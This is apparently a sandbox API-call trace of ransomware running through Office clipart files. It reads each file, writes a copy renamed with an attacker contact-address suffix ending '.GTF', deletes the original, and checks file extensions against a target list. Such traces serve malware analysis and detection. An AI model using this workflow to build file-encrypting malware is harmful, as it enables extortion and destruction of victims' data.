	[0157.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.419] GetLastError () returned 0x0
	[0157.419] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0157.420] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0157.421] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.421] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.421] SetEndOfFile (hFile=0x418) returned 1
	[0157.422] CloseHandle (hObject=0x418) returned 1
	[0157.422] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.422] SetEndOfFile (hFile=0x490) returned 1
	[0157.424] CloseHandle (hObject=0x490) returned 1
	[0157.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0157.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.425] lstrlenW (lpString=".doc") returned 4
	[0157.425] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.425] lstrlenW (lpString=".docx") returned 5
	[0157.425] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0157.425] lstrlenW (lpString=".pdf") returned 4
	[0157.425] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.425] lstrlenW (lpString=".xls") returned 4
	[0157.425] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.425] lstrlenW (lpString=".xlsx") returned 5
	[0157.425] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0157.425] lstrlenW (lpString=".ppt") returned 4
	[0157.425] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.425] lstrlenW (lpString=".zip") returned 4
	[0157.426] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".rar") returned 4
	[0157.426] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".bz2") returned 4
	[0157.426] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.426] lstrlenW (lpString=".7z") returned 3
	[0157.426] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString=".dbf") returned 4
	[0157.426] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString=".1cd") returned 4
	[0157.426] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString=".jpg") returned 4
	[0157.426] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString=".doc") returned 4
	[0157.426] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.426] lstrlenW (lpString=".docx") returned 5
	[0157.426] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0157.426] lstrlenW (lpString=".pdf") returned 4
	[0157.426] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".xls") returned 4
	[0157.426] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".xlsx") returned 5
	[0157.426] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0157.426] lstrlenW (lpString=".ppt") returned 4
	[0157.426] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.426] lstrlenW (lpString=".zip") returned 4
	[0157.426] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".rar") returned 4
	[0157.426] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.426] lstrlenW (lpString=".bz2") returned 4
	[0157.427] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.427] lstrlenW (lpString=".7z") returned 3
	[0157.427] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.427] lstrlenW (lpString=".dbf") returned 4
	[0157.427] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.427] lstrlenW (lpString=".1cd") returned 4
	[0157.427] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0157.427] lstrlenW (lpString=".jpg") returned 4
	[0157.427] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.427] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.427] lstrlenW (lpString="J0099162.JPG") returned 12
	[0157.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.428] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=19656) returned 1
	[0157.428] CloseHandle (hObject=0x490) returned 1
	[0157.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0157.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.433] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.433] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.434] GetLastError () returned 0x0
	[0157.434] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0157.436] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0157.437] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.437] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.438] SetEndOfFile (hFile=0x418) returned 1
	[0157.438] CloseHandle (hObject=0x418) returned 1
	[0157.438] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.438] SetEndOfFile (hFile=0x490) returned 1
	[0157.440] CloseHandle (hObject=0x490) returned 1
	[0157.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0157.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.441] lstrlenW (lpString=".doc") returned 4
	[0157.441] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.441] lstrlenW (lpString=".docx") returned 5
	[0157.442] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0157.442] lstrlenW (lpString=".pdf") returned 4
	[0157.442] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.442] lstrlenW (lpString=".xls") returned 4
	[0157.442] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.442] lstrlenW (lpString=".xlsx") returned 5
	[0157.442] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0157.442] lstrlenW (lpString=".ppt") returned 4
	[0157.442] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString=".zip") returned 4
	[0157.442] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.442] lstrlenW (lpString=".rar") returned 4
	[0157.442] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.442] lstrlenW (lpString=".bz2") returned 4
	[0157.442] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.442] lstrlenW (lpString=".7z") returned 3
	[0157.442] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString=".dbf") returned 4
	[0157.442] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString=".1cd") returned 4
	[0157.442] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString=".jpg") returned 4
	[0157.442] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.442] lstrlenW (lpString=".doc") returned 4
	[0157.442] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.442] lstrlenW (lpString=".docx") returned 5
	[0157.442] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0157.442] lstrlenW (lpString=".pdf") returned 4
	[0157.443] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.443] lstrlenW (lpString=".xls") returned 4
	[0157.443] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.443] lstrlenW (lpString=".xlsx") returned 5
	[0157.443] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0157.443] lstrlenW (lpString=".ppt") returned 4
	[0157.443] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.443] lstrlenW (lpString=".zip") returned 4
	[0157.443] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.443] lstrlenW (lpString=".rar") returned 4
	[0157.443] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.443] lstrlenW (lpString=".bz2") returned 4
	[0157.443] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.443] lstrlenW (lpString=".7z") returned 3
	[0157.443] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.443] lstrlenW (lpString=".dbf") returned 4
	[0157.443] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.443] lstrlenW (lpString=".1cd") returned 4
	[0157.443] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0157.443] lstrlenW (lpString=".jpg") returned 4
	[0157.443] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.443] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.443] lstrlenW (lpString="J0099163.WMF") returned 12
	[0157.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.444] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=22356) returned 1
	[0157.444] CloseHandle (hObject=0x490) returned 1
	[0157.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0157.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.444] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.444] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.445] GetLastError () returned 0x0
	[0157.445] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x5754, lpOverlapped=0x0) returned 1
	[0157.447] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x5760, lpOverlapped=0x0) returned 1
	[0157.449] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.449] WriteFile (in: hFile=0x418, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.449] SetEndOfFile (hFile=0x418) returned 1
	[0157.449] CloseHandle (hObject=0x418) returned 1
	[0157.449] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.449] SetEndOfFile (hFile=0x490) returned 1
	[0157.738] CloseHandle (hObject=0x490) returned 1
	[0157.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString=".doc") returned 4
	[0157.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString=".docx") returned 5
	[0157.751] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.751] lstrlenW (lpString=".pdf") returned 4
	[0157.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString=".xls") returned 4
	[0157.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.751] lstrlenW (lpString=".xlsx") returned 5
	[0157.751] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.751] lstrlenW (lpString=".ppt") returned 4
	[0157.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString=".zip") returned 4
	[0157.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.751] lstrlenW (lpString=".rar") returned 4
	[0157.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString=".bz2") returned 4
	[0157.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString=".7z") returned 3
	[0157.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString=".dbf") returned 4
	[0157.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString=".1cd") returned 4
	[0157.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.751] lstrlenW (lpString=".jpg") returned 4
	[0157.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString=".doc") returned 4
	[0157.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString=".docx") returned 5
	[0157.752] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.752] lstrlenW (lpString=".pdf") returned 4
	[0157.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString=".xls") returned 4
	[0157.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.752] lstrlenW (lpString=".xlsx") returned 5
	[0157.752] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.752] lstrlenW (lpString=".ppt") returned 4
	[0157.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString=".zip") returned 4
	[0157.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.752] lstrlenW (lpString=".rar") returned 4
	[0157.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString=".bz2") returned 4
	[0157.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString=".7z") returned 3
	[0157.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString=".dbf") returned 4
	[0157.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString=".1cd") returned 4
	[0157.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0157.752] lstrlenW (lpString=".jpg") returned 4
	[0157.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.753] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.753] lstrlenW (lpString="J0099173.WMF") returned 12
	[0157.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.753] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=37140) returned 1
	[0157.753] CloseHandle (hObject=0x490) returned 1
	[0157.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0157.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.754] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.754] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
